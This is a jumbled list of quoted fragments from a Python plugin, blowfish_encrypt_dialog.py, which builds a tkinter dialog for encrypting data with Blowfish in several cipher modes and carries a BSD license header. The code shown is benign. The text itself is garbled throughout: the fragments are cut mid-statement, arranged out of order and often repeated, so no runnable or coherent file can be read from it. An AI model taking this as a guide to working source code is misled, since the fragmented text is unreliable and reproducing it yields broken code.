"Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv) elif mode == \"CTR\": # The first",
"data = Cryptodome.Util.Padding.pad(data, Cryptodome.Cipher.Blowfish.block_size) d = cipher.encrypt(data) except Exception as",
"provided that the following conditions are met: # # 1.",
"\"disabled\") ei.configure(state = \"disabled\") else: cit.configure(state = \"readonly\") ei.configure(state =",
"= Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], nonce=iv[0:7], initial_value=iv[7]) else: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode])",
"in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and len(iv) != Cryptodome.Cipher.Blowfish.block_size: tkinter.messagebox.showerror(\"Error:\",",
"OR TORT (INCLUDING NEGLIGENCE OR # OTHERWISE) ARISING IN ANY",
"= tkinter.Button(root, text=\"OK\", command=(lambda data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type,",
"cit, ei)) # These are disabled in the initial state",
"data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm,",
"mode in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and len(iv) != Cryptodome.Cipher.Blowfish.block_size:",
"encrypt(data, root, cm, ckt, ek, cit, ei)) combo_key_type.bind(\"<Return>\", lambda event,",
"column=1, padx=5, pady=5) label_iv = tkinter.Label(root, text=\"IV:\") label_iv.grid(row=2, column=2, padx=5,",
"import re import sys import time import tkinter import tkinter.ttk",
"DATA, OR PROFITS; # OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND",
"These are disabled in the initial state (ECB mode) combo_iv_type.configure(state",
"PROFITS; # OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY",
"width=5, state=\"readonly\") combo_key_type[\"values\"] = (\"Text\", \"Hex\") combo_key_type.current(0) combo_key_type.grid(row=1, column=1, padx=5,",
"root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt,",
"> 56: tkinter.messagebox.showerror(\"Error:\", message=\"Key size must be in the range",
"are used as nonce and the last byte is used",
"last byte is used as initial_value (compatible with CyberChef). cipher",
"the above copyright # notice, this list of conditions and",
"as initial_value (compatible with CyberChef). cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], nonce=iv[0:7],",
"button.grid(row=3, column=0, padx=5, pady=5, columnspan=4) label_ctr = tkinter.Label(root, text=\"Note:\\nThe first",
"are permitted provided that the following conditions are met: #",
"hex format.\") return else: iv = iv.encode() if mode in",
"\"CBC\":Cryptodome.Cipher.Blowfish.MODE_CBC, \"CFB\":Cryptodome.Cipher.Blowfish.MODE_CFB, \"OFB\":Cryptodome.Cipher.Blowfish.MODE_OFB, \"CTR\":Cryptodome.Cipher.Blowfish.MODE_CTR} mode = cm.get() key_type = ckt.get()",
"= (\"Text\", \"Hex\") combo_iv_type.current(0) combo_iv_type.grid(row=2, column=1, padx=5, pady=5) label_iv =",
"column=0, padx=5, pady=5, columnspan=4) label_ctr = tkinter.Label(root, text=\"Note:\\nThe first seven",
"import tkinter.ttk import tkinter.messagebox try: import Cryptodome.Cipher.Blowfish import Cryptodome.Util.Padding except",
"cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode]) if mode in [\"ECB\", \"CBC\"]: data",
"\"OFB\", \"CTR\") combo_mode.current(0) combo_mode.grid(row=0, column=1, padx=5, pady=5, sticky=\"w\") label_key_type =",
"used as initial_value (compatible with CyberChef). cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode],",
"sticky=\"w\") entry_key = tkinter.Entry(width=32) entry_key.grid(row=1, column=3, padx=5, pady=5, sticky=\"w\") entry_key.focus()",
"used as the initial value of the counter (compatible with\\nCyberChef).\",",
"TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF",
"met: # # 1. Redistributions of source code must retain",
"FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO",
"ARISING IN ANY WAY OUT OF THE USE OF THIS",
"cm.get() key_type = ckt.get() key = ek.get() iv_type = cit.get()",
"(compatible with CyberChef). cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], nonce=iv[0:7], initial_value=iv[7]) else:",
"== \"CTR\": lc.grid() else: lc.grid_remove() # Receive data data =",
"combo_iv_type.current(0) combo_iv_type.grid(row=2, column=1, padx=5, pady=5) label_iv = tkinter.Label(root, text=\"IV:\") label_iv.grid(row=2,",
"# All rights reserved. # # Redistribution and use in",
"ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN",
"iv = binascii.a2b_hex(iv) else: tkinter.messagebox.showerror(\"Error:\", message=\"IV is not in hex",
"of IV are used as the nonce and the last",
"counter (compatible with\\nCyberChef).\", justify=\"left\") label_ctr.grid(row=4, column=0, padx=5, pady=5, columnspan=4, sticky=\"w\")",
"combo_iv_type.configure(state = \"disabled\") entry_iv.configure(state = \"disabled\") # Adjust window position",
"widget label_iv_type = tkinter.Label(root, text=\"IV type:\") label_iv_type.grid(row=2, column=0, padx=5, pady=5,",
"entry_iv.configure(state = \"disabled\") # Adjust window position sw = root.winfo_screenwidth()",
"sw = root.winfo_screenwidth() sh = root.winfo_screenheight() root.update_idletasks() # Necessary to",
"Adjust window position sw = root.winfo_screenwidth() sh = root.winfo_screenheight() root.update_idletasks()",
"- (ww/2), (sh/2) - (wh/2))) root.mainloop() exit(1) # Not decrypted",
"lambda event, root=root, cm=combo_mode, cit=combo_iv_type, ei=entry_iv, lc=label_ctr: combo_mode_selected(root, cm, cit,",
"ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR",
"one\\nbyte is used as the initial value of the counter",
"tkinter.Entry(width=32) entry_key.grid(row=1, column=3, padx=5, pady=5, sticky=\"w\") entry_key.focus() # Focus to",
"pady=5, sticky=\"w\") label_key_type = tkinter.Label(root, text=\"Key type:\") label_key_type.grid(row=1, column=0, padx=5,",
"# Redistribution and use in source and binary forms, with",
"tkinter.messagebox.showerror(\"Error:\", message=e) root.quit() exit(1) # Not decrypted sys.stdout.buffer.write(d) root.quit() exit(0)",
"tkinter.Label(root, text=\"IV type:\") label_iv_type.grid(row=2, column=0, padx=5, pady=5, sticky=\"w\") combo_iv_type =",
"SERVICES; LOSS OF USE, DATA, OR PROFITS; # OR BUSINESS",
"the above copyright notice, # this list of conditions and",
"elif mode == \"CTR\": # The first seven bytes of",
"padx=5, pady=5, columnspan=4) label_ctr = tkinter.Label(root, text=\"Note:\\nThe first seven bytes",
"== \"ECB\": cit.configure(state = \"disabled\") ei.configure(state = \"disabled\") else: cit.configure(state",
"= root.winfo_screenheight() root.update_idletasks() # Necessary to get width and height",
"conditions are met: # # 1. Redistributions of source code",
"bytes and 56 bytes.\") return try: if mode == \"CFB\":",
"IV are used as nonce and the last byte is",
"\"CFB\":Cryptodome.Cipher.Blowfish.MODE_CFB, \"OFB\":Cryptodome.Cipher.Blowfish.MODE_OFB, \"CTR\":Cryptodome.Cipher.Blowfish.MODE_CTR} mode = cm.get() key_type = ckt.get() key",
"cit, ei))) button.grid(row=3, column=0, padx=5, pady=5, columnspan=4) label_ctr = tkinter.Label(root,",
"is used as the initial value of the counter (compatible",
"must be in the range from 4 bytes and 56",
"combo_mode_selected(root, cm, cit, ei, lc)) combo_mode.bind(\"<Return>\", lambda event, data=data, root=root,",
"lc)) combo_mode.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type,",
"provided with the distribution. # # THIS SOFTWARE IS PROVIDED",
"tkinter.messagebox.showerror(\"Error:\", message=\"IV is not in hex format.\") return else: iv",
"byte is used as initial_value (compatible with CyberChef). cipher =",
"2019, <NAME> # All rights reserved. # # Redistribution and",
"SHALL THE COPYRIGHT HOLDER OR # CONTRIBUTORS BE LIABLE FOR",
"\"OFB\", \"CTR\"] and iv_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", iv): iv",
"text=\"IV:\") label_iv.grid(row=2, column=2, padx=5, pady=5, sticky=\"w\") entry_iv = tkinter.Entry(width=32) entry_iv.grid(row=2,",
"Cryptodome.Cipher.Blowfish import Cryptodome.Util.Padding except ImportError: exit(-1) # PyCryptodome is not",
"== \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", key): key = binascii.a2b_hex(key) else: tkinter.messagebox.showerror(\"Error:\",",
"Set callback functions combo_mode.bind('<<ComboboxSelected>>', lambda event, root=root, cm=combo_mode, cit=combo_iv_type, ei=entry_iv,",
"tkinter.Entry(width=32) entry_iv.grid(row=2, column=3, padx=5, pady=5, sticky=\"w\") button = tkinter.Button(root, text=\"OK\",",
"region with Blowfish # # Copyright (c) 2019, <NAME> #",
"# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE",
"ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) entry_key.bind(\"<Return>\", lambda",
"IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR #",
"# modification, are permitted provided that the following conditions are",
"cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv) elif mode == \"CTR\": #",
"USE, DATA, OR PROFITS; # OR BUSINESS INTERRUPTION) HOWEVER CAUSED",
"\"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", key): key = binascii.a2b_hex(key) else: tkinter.messagebox.showerror(\"Error:\", message=\"Key",
"callback functions combo_mode.bind('<<ComboboxSelected>>', lambda event, root=root, cm=combo_mode, cit=combo_iv_type, ei=entry_iv, lc=label_ctr:",
"OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT",
"# Receive data data = sys.stdin.buffer.read() # Create input dialog",
"conditions and the following disclaimer in the # documentation and/or",
"column=3, padx=5, pady=5, sticky=\"w\") button = tkinter.Button(root, text=\"OK\", command=(lambda data=data,",
"cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) button.bind(\"<Return>\",",
"= Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv, segment_size=Cryptodome.Cipher.Blowfish.block_size * 8) elif mode in",
"re import sys import time import tkinter import tkinter.ttk import",
"THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS # IS\" AND ANY",
"size must be in the range from 4 bytes and",
"combo_mode_selected(root, cm, cit, ei, lc): mode = cm.get() if mode",
"blowfish_mode[mode]) if mode in [\"ECB\", \"CBC\"]: data = Cryptodome.Util.Padding.pad(data, Cryptodome.Cipher.Blowfish.block_size)",
"ei=entry_iv, lc=label_ctr: combo_mode_selected(root, cm, cit, ei, lc)) combo_mode.bind(\"<Return>\", lambda event,",
"= tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_iv_type[\"values\"] = (\"Text\", \"Hex\") combo_iv_type.current(0) combo_iv_type.grid(row=2,",
"ei)) # These are disabled in the initial state (ECB",
"cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) combo_key_type.bind(\"<Return>\",",
"cm.get() if mode == \"ECB\": cit.configure(state = \"disabled\") ei.configure(state =",
"(ECB mode) combo_iv_type.configure(state = \"disabled\") entry_iv.configure(state = \"disabled\") # Adjust",
"that the following conditions are met: # # 1. Redistributions",
"event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv: encrypt(data, root,",
"cit, ei): blowfish_mode = {\"ECB\":Cryptodome.Cipher.Blowfish.MODE_ECB, \"CBC\":Cryptodome.Cipher.Blowfish.MODE_CBC, \"CFB\":Cryptodome.Cipher.Blowfish.MODE_CFB, \"OFB\":Cryptodome.Cipher.Blowfish.MODE_OFB, \"CTR\":Cryptodome.Cipher.Blowfish.MODE_CTR} mode",
"functions combo_mode.bind('<<ComboboxSelected>>', lambda event, root=root, cm=combo_mode, cit=combo_iv_type, ei=entry_iv, lc=label_ctr: combo_mode_selected(root,",
"= {\"ECB\":Cryptodome.Cipher.Blowfish.MODE_ECB, \"CBC\":Cryptodome.Cipher.Blowfish.MODE_CBC, \"CFB\":Cryptodome.Cipher.Blowfish.MODE_CFB, \"OFB\":Cryptodome.Cipher.Blowfish.MODE_OFB, \"CTR\":Cryptodome.Cipher.Blowfish.MODE_CTR} mode = cm.get() key_type",
"[\"ECB\", \"CBC\"]: data = Cryptodome.Util.Padding.pad(data, Cryptodome.Cipher.Blowfish.block_size) d = cipher.encrypt(data) except",
"if mode in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and len(iv) !=",
"if key_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", key): key = binascii.a2b_hex(key)",
"IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS #",
"AND CONTRIBUTORS \"AS # IS\" AND ANY EXPRESS OR IMPLIED",
"of the window ww = root.winfo_width() wh = root.winfo_height() root.geometry('+%d+%d'",
"= cm.get() key_type = ckt.get() key = ek.get() iv_type =",
"Not decrypted sys.stdout.buffer.write(d) root.quit() exit(0) # Decrypted successfully def combo_mode_selected(root,",
"padx=5, pady=5, sticky=\"w\") entry_key.focus() # Focus to this widget label_iv_type",
"ei, lc): mode = cm.get() if mode == \"ECB\": cit.configure(state",
"(compatible with\\nCyberChef).\", justify=\"left\") label_ctr.grid(row=4, column=0, padx=5, pady=5, columnspan=4, sticky=\"w\") label_ctr.grid_remove()",
"len(key) if key_length < 4 or key_length > 56: tkinter.messagebox.showerror(\"Error:\",",
"of conditions and the following disclaimer in the # documentation",
"== \"CFB\": cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv, segment_size=Cryptodome.Cipher.Blowfish.block_size * 8)",
"copyright notice, # this list of conditions and the following",
"root.geometry('+%d+%d' % ((sw/2) - (ww/2), (sh/2) - (wh/2))) root.mainloop() exit(1)",
"IV are used as the nonce and the last one\\nbyte",
"= root.winfo_width() wh = root.winfo_height() root.geometry('+%d+%d' % ((sw/2) - (ww/2),",
"cm, ckt, ek, cit, ei)) entry_key.bind(\"<Return>\", lambda event, data=data, root=root,",
"sticky=\"w\") entry_key.focus() # Focus to this widget label_iv_type = tkinter.Label(root,",
"to this widget label_iv_type = tkinter.Label(root, text=\"IV type:\") label_iv_type.grid(row=2, column=0,",
"((sw/2) - (ww/2), (sh/2) - (wh/2))) root.mainloop() exit(1) # Not",
"and iv_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", iv): iv = binascii.a2b_hex(iv)",
"LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS",
"conditions and the following disclaimer. # 2. Redistributions in binary",
"IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED",
"and the following disclaimer. # 2. Redistributions in binary form",
"binascii.a2b_hex(key) else: tkinter.messagebox.showerror(\"Error:\", message=\"Key is not in hex format.\") return",
"# PyCryptodome is not installed # Print selected items def",
"return try: if mode == \"CFB\": cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode],",
"= \"disabled\") ei.configure(state = \"disabled\") else: cit.configure(state = \"readonly\") ei.configure(state",
"# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND",
"iv): iv = binascii.a2b_hex(iv) else: tkinter.messagebox.showerror(\"Error:\", message=\"IV is not in",
"the distribution. # # THIS SOFTWARE IS PROVIDED BY THE",
"Encrypt selected region with Blowfish # # Copyright (c) 2019,",
"OR # OTHERWISE) ARISING IN ANY WAY OUT OF THE",
"INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF",
"the following disclaimer. # 2. Redistributions in binary form must",
"\"CTR\": lc.grid() else: lc.grid_remove() # Receive data data = sys.stdin.buffer.read()",
"cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) entry_iv.bind(\"<Return>\",",
"button.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv:",
"ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY,",
"following disclaimer. # 2. Redistributions in binary form must reproduce",
"The first seven bytes of IV are used as nonce",
"ei.configure(state = \"normal\") if mode == \"CTR\": lc.grid() else: lc.grid_remove()",
"BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY,",
"padx=5, pady=5, sticky=\"w\") combo_iv_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_iv_type[\"values\"] =",
"pady=5) label_iv = tkinter.Label(root, text=\"IV:\") label_iv.grid(row=2, column=2, padx=5, pady=5, sticky=\"w\")",
"exit(0) # Decrypted successfully def combo_mode_selected(root, cm, cit, ei, lc):",
"sticky=\"w\") combo_iv_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_iv_type[\"values\"] = (\"Text\", \"Hex\")",
"not in hex format.\") return else: iv = iv.encode() if",
"key = ek.get() iv_type = cit.get() iv = ei.get() if",
"pady=5, sticky=\"w\") combo_key_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_key_type[\"values\"] = (\"Text\",",
"cipher.encrypt(data) except Exception as e: tkinter.messagebox.showerror(\"Error:\", message=e) root.quit() exit(1) #",
"Cryptodome.Util.Padding.pad(data, Cryptodome.Cipher.Blowfish.block_size) d = cipher.encrypt(data) except Exception as e: tkinter.messagebox.showerror(\"Error:\",",
"label_mode.grid(row=0, column=0, padx=5, pady=5, sticky=\"w\") combo_mode = tkinter.ttk.Combobox(root, width=5, state=\"readonly\")",
"combo_key_type.grid(row=1, column=1, padx=5, pady=5) label_key = tkinter.Label(root, text=\"Key:\") label_key.grid(row=1, column=2,",
"ei.configure(state = \"disabled\") else: cit.configure(state = \"readonly\") ei.configure(state = \"normal\")",
"combo_iv_type.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv:",
"notice, this list of conditions and the following disclaimer in",
"WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES",
"= \"disabled\") else: cit.configure(state = \"readonly\") ei.configure(state = \"normal\") if",
"text=\"Key:\") label_key.grid(row=1, column=2, padx=5, pady=5, sticky=\"w\") entry_key = tkinter.Entry(width=32) entry_key.grid(row=1,",
"key): key = binascii.a2b_hex(key) else: tkinter.messagebox.showerror(\"Error:\", message=\"Key is not in",
"\"CFB\", \"OFB\", \"CTR\"] and len(iv) != Cryptodome.Cipher.Blowfish.block_size: tkinter.messagebox.showerror(\"Error:\", message=\"IV size",
"IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,",
"cit.configure(state = \"disabled\") ei.configure(state = \"disabled\") else: cit.configure(state = \"readonly\")",
"other materials provided with the distribution. # # THIS SOFTWARE",
"retain the above copyright notice, # this list of conditions",
"= \"readonly\") ei.configure(state = \"normal\") if mode == \"CTR\": lc.grid()",
"All rights reserved. # # Redistribution and use in source",
"mode in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and iv_type == \"Hex\":",
"without # modification, are permitted provided that the following conditions",
"root = tkinter.Tk() root.title(\"Blowfish encrypt\") root.protocol(\"WM_DELETE_WINDOW\", (lambda r=root: r.quit())) label_mode",
"the counter (compatible with\\nCyberChef).\", justify=\"left\") label_ctr.grid(row=4, column=0, padx=5, pady=5, columnspan=4,",
"iv.encode() if mode in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and len(iv)",
"OUT OF THE USE OF THIS SOFTWARE, EVEN IF #",
"THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR",
"# notice, this list of conditions and the following disclaimer",
"padx=5, pady=5, columnspan=4, sticky=\"w\") label_ctr.grid_remove() # Set callback functions combo_mode.bind('<<ComboboxSelected>>',",
"are disabled in the initial state (ECB mode) combo_iv_type.configure(state =",
"the following conditions are met: # # 1. Redistributions of",
"this list of conditions and the following disclaimer in the",
"modification, are permitted provided that the following conditions are met:",
"= tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_key_type[\"values\"] = (\"Text\", \"Hex\") combo_key_type.current(0) combo_key_type.grid(row=1,",
"\"CFB\", \"OFB\", \"CTR\"] and iv_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", iv):",
"ckt, ek, cit, ei)) combo_key_type.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode,",
"mode == \"ECB\": cit.configure(state = \"disabled\") ei.configure(state = \"disabled\") else:",
"\"CFB\", \"OFB\", \"CTR\") combo_mode.current(0) combo_mode.grid(row=0, column=1, padx=5, pady=5, sticky=\"w\") label_key_type",
"else: lc.grid_remove() # Receive data data = sys.stdin.buffer.read() # Create",
"EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, #",
"if re.match(\"^([0-9A-Fa-f]{2})+$\", key): key = binascii.a2b_hex(key) else: tkinter.messagebox.showerror(\"Error:\", message=\"Key is",
"root.quit() exit(0) # Decrypted successfully def combo_mode_selected(root, cm, cit, ei,",
"combo_key_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_key_type[\"values\"] = (\"Text\", \"Hex\") combo_key_type.current(0)",
"reserved. # # Redistribution and use in source and binary",
"OR SERVICES; LOSS OF USE, DATA, OR PROFITS; # OR",
"# Adjust window position sw = root.winfo_screenwidth() sh = root.winfo_screenheight()",
"<filename>plugins/Operations/Crypto/blowfish_encrypt_dialog.py # # Blowfish encrypt - Encrypt selected region with",
"BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY",
"LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS",
"# Decrypted successfully def combo_mode_selected(root, cm, cit, ei, lc): mode",
"ckt, ek, cit, ei)) # These are disabled in the",
"sys.stdin.buffer.read() # Create input dialog root = tkinter.Tk() root.title(\"Blowfish encrypt\")",
"mode == \"CFB\": cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv, segment_size=Cryptodome.Cipher.Blowfish.block_size *",
"combo_mode.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv:",
"# Copyright (c) 2019, <NAME> # All rights reserved. #",
"PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER",
"bytes.\") return try: if mode == \"CFB\": cipher = Cryptodome.Cipher.Blowfish.new(key,",
"= (\"ECB\", \"CBC\", \"CFB\", \"OFB\", \"CTR\") combo_mode.current(0) combo_mode.grid(row=0, column=1, padx=5,",
"(\"Text\", \"Hex\") combo_iv_type.current(0) combo_iv_type.grid(row=2, column=1, padx=5, pady=5) label_iv = tkinter.Label(root,",
"OF THIS SOFTWARE, EVEN IF # ADVISED OF THE POSSIBILITY",
"# # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS",
"ek=entry_key, cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)))",
"and the last byte is used as initial_value (compatible with",
"as nonce and the last byte is used as initial_value",
"tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_iv_type[\"values\"] = (\"Text\", \"Hex\") combo_iv_type.current(0) combo_iv_type.grid(row=2, column=1,",
"cm, ckt, ek, cit, ei)) button.bind(\"<Return>\", lambda event, data=data, root=root,",
"text=\"OK\", command=(lambda data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv: encrypt(data,",
"\"disabled\") entry_iv.configure(state = \"disabled\") # Adjust window position sw =",
"key_length < 4 or key_length > 56: tkinter.messagebox.showerror(\"Error:\", message=\"Key size",
"= root.winfo_screenwidth() sh = root.winfo_screenheight() root.update_idletasks() # Necessary to get",
"LOSS OF USE, DATA, OR PROFITS; # OR BUSINESS INTERRUPTION)",
"Receive data data = sys.stdin.buffer.read() # Create input dialog root",
"ckt, ek, cit, ei))) button.grid(row=3, column=0, padx=5, pady=5, columnspan=4) label_ctr",
"list of conditions and the following disclaimer. # 2. Redistributions",
"\"readonly\") ei.configure(state = \"normal\") if mode == \"CTR\": lc.grid() else:",
"OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE",
"= cipher.encrypt(data) except Exception as e: tkinter.messagebox.showerror(\"Error:\", message=e) root.quit() exit(1)",
"mode in [\"CBC\", \"OFB\"]: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv) elif",
"= \"disabled\") entry_iv.configure(state = \"disabled\") # Adjust window position sw",
"Create input dialog root = tkinter.Tk() root.title(\"Blowfish encrypt\") root.protocol(\"WM_DELETE_WINDOW\", (lambda",
"column=1, padx=5, pady=5) label_key = tkinter.Label(root, text=\"Key:\") label_key.grid(row=1, column=2, padx=5,",
"= cit.get() iv = ei.get() if key_type == \"Hex\": if",
"blowfish_mode[mode], iv) elif mode == \"CTR\": # The first seven",
"root.update_idletasks() # Necessary to get width and height of the",
"DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE",
"tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_key_type[\"values\"] = (\"Text\", \"Hex\") combo_key_type.current(0) combo_key_type.grid(row=1, column=1,",
"ek, cit, ei)) entry_key.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type,",
"in [\"ECB\", \"CBC\"]: data = Cryptodome.Util.Padding.pad(data, Cryptodome.Cipher.Blowfish.block_size) d = cipher.encrypt(data)",
"def encrypt(data, root, cm, ckt, ek, cit, ei): blowfish_mode =",
"format.\") return else: iv = iv.encode() if mode in [\"CBC\",",
"= tkinter.Label(root, text=\"IV:\") label_iv.grid(row=2, column=2, padx=5, pady=5, sticky=\"w\") entry_iv =",
"COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS # IS\" AND ANY EXPRESS",
"= binascii.a2b_hex(iv) else: tkinter.messagebox.showerror(\"Error:\", message=\"IV is not in hex format.\")",
"message=e) root.quit() exit(1) # Not decrypted sys.stdout.buffer.write(d) root.quit() exit(0) #",
"combo_key_type[\"values\"] = (\"Text\", \"Hex\") combo_key_type.current(0) combo_key_type.grid(row=1, column=1, padx=5, pady=5) label_key",
"are used as the nonce and the last one\\nbyte is",
"cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv, segment_size=Cryptodome.Cipher.Blowfish.block_size * 8) elif mode",
"Redistributions in binary form must reproduce the above copyright #",
"cm, ckt, ek, cit, ei)) combo_iv_type.bind(\"<Return>\", lambda event, data=data, root=root,",
"SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;",
"# Focus to this widget label_iv_type = tkinter.Label(root, text=\"IV type:\")",
"= ek.get() iv_type = cit.get() iv = ei.get() if key_type",
"root, cm, ckt, ek, cit, ei))) button.grid(row=3, column=0, padx=5, pady=5,",
"in [\"CBC\", \"OFB\"]: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv) elif mode",
"pady=5, sticky=\"w\") button = tkinter.Button(root, text=\"OK\", command=(lambda data=data, root=root, cm=combo_mode,",
"successfully def combo_mode_selected(root, cm, cit, ei, lc): mode = cm.get()",
"tkinter.messagebox.showerror(\"Error:\", message=\"Key is not in hex format.\") return else: key",
"the initial state (ECB mode) combo_iv_type.configure(state = \"disabled\") entry_iv.configure(state =",
"Print selected items def encrypt(data, root, cm, ckt, ek, cit,",
"sticky=\"w\") combo_mode = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_mode[\"values\"] = (\"ECB\", \"CBC\",",
"column=2, padx=5, pady=5, sticky=\"w\") entry_key = tkinter.Entry(width=32) entry_key.grid(row=1, column=3, padx=5,",
"= \"normal\") if mode == \"CTR\": lc.grid() else: lc.grid_remove() #",
"entry_iv = tkinter.Entry(width=32) entry_iv.grid(row=2, column=3, padx=5, pady=5, sticky=\"w\") button =",
"ei, lc)) combo_mode.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key,",
"disabled in the initial state (ECB mode) combo_iv_type.configure(state = \"disabled\")",
"cm, ckt, ek, cit, ei)) # These are disabled in",
"Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], nonce=iv[0:7], initial_value=iv[7]) else: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode]) if",
"1. Redistributions of source code must retain the above copyright",
"key = key.encode() if mode in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"]",
"OR PROFITS; # OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON",
"label_iv_type = tkinter.Label(root, text=\"IV type:\") label_iv_type.grid(row=2, column=0, padx=5, pady=5, sticky=\"w\")",
"SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS",
"encrypt(data, root, cm, ckt, ek, cit, ei): blowfish_mode = {\"ECB\":Cryptodome.Cipher.Blowfish.MODE_ECB,",
"\"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", iv): iv = binascii.a2b_hex(iv) else: tkinter.messagebox.showerror(\"Error:\", message=\"IV",
"nonce=iv[0:7], initial_value=iv[7]) else: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode]) if mode in",
"root.title(\"Blowfish encrypt\") root.protocol(\"WM_DELETE_WINDOW\", (lambda r=root: r.quit())) label_mode = tkinter.Label(root, text=\"Mode:\")",
